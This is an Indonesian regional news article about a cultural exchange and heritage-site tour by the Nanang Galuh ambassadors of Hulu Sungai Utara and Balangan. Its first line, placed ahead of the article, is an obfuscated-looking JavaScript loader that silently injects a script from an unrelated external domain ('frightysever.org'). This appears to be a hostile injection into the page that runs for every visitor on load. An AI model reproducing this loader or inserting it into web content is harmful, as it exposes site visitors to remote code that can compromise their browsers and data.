(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Pawadahan Nanang Galuh (Naga) Hulu Sungai Utara (HSU) bersama Pawadahan Naga Balangan menggelar SWAP (Sharing With Another Pawadahan) dan eksplorasi tempat-tempat bersejarah di Kabupaten Balangan, Minggu (20/8/2023).
Kegiatan ini di laksanakan sesuai program kerja triwulan, yang mana setiap nanang maupun galuh wajib mempunyai satu program kerja triwulan.
SWAP sendiri adalah salah satu program kerja inisiatif dari Wakil II Galuh HSU, Meisya.
Menurutnya, mengangkat SWAP sebagai program kerjanya mempunyai alasan tersendiri.
Baca juga: Posko Siaga Karhutla di Martapura Barat, Pemadaman Darat Dibantu Jalur Udara
“Sebagai duta kebudayaan hendaklah kita mengenali kebudayaan daerah lain, karena ragam kebudayaan sendiri tersusun dari suku dan adat istiadat,” kata Meisya.
Selain itu, Meisya menyebut, dengan adanya program kerja SWAP maka jalinan antar pawadahan akan semakin terikat erat.
”Program kerja ini mempunyai slogan yang berbunyi ‘Bakunjungan Bararakat Batahuan Kalawan Budaya Papadaan,” imbuhnya.
Baca juga: Penyakit ISPA Rangking Teratas Dua Puskesmas di Kabupaten Banjar
Terpisah, menurut Wakil II Naga Balangan, Nurul Aulia yang biasa disapa Yaya menilai kegiatan SWAP sangat positif untuk menjalin silaturahmi antara Pawadahan Naga HSU dengan Naga Balangan.
“Kegiatan kemarin itu, kegiatan yang positif banget, nanang galuh bukan hanya bermodal paras aja tapi juga berperan dalam nilai pendidikan khususnya sejarah kebudayaan harapannya untuk bisa mengenalkannya ke daerah lain, salah satunya seperti kegiatan kemarin kita sharing dan belajar lebih banyak lagi tentang sejarah situs cagar budaya Benteng Tundakan bersama juru pelihara di sana,” katanya.
Adapun pelaksanaan SWAP yang dilakukan di Kabupaten Balangan, oleh Pawadahan Naga HSU dan Naga Balangan tersebut adalah mengunjungi tempat bersejarah salah satunya yang pertama Benteng Tundakan di Kecamatan Awayan, sebagai tempat berlindungnya para pejuang perang Banjar pada abad ke 18 yang melibatkan Tumenggung Jalil sebagai tokoh sentralnya.
Baca juga: Sumber Air Kering, Padamkan Karhutla di Trikora Warga Sempat Beli Satu Tandon
Tujuan kedua, Pawadahan Naga HSU dan Naga Balangan yaitu Gua Debu, objek wisata yang masuk dalam cagar budaya prasejarah tersebut mudah dijangkau karena lokasinya tidak jauh dari jalan desa, mengapa dijuluki Gua Debu karena konon katanya Gua tersebut selalu berdebu walaupun musim hujan sekalipun.
Dahulu di Gua Debu merupakan tempat tinggalnya manusia purba, hal itu dipercayai karena adanya peninggalan tulang belulang di dalam gua.
Sedangkan tujuan terakhir pawadahan Naga HSU dan Naga Balangan adalah Sungai Maranting, di sana dua pawadahan mengadakan banding yang bertujuan menumbuhkan ikatan emosional dan kelekatan antar dua pawadahan agar terjalin dengan baik. (Kanalkalimantan.com/dew)
Reporter : dew
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.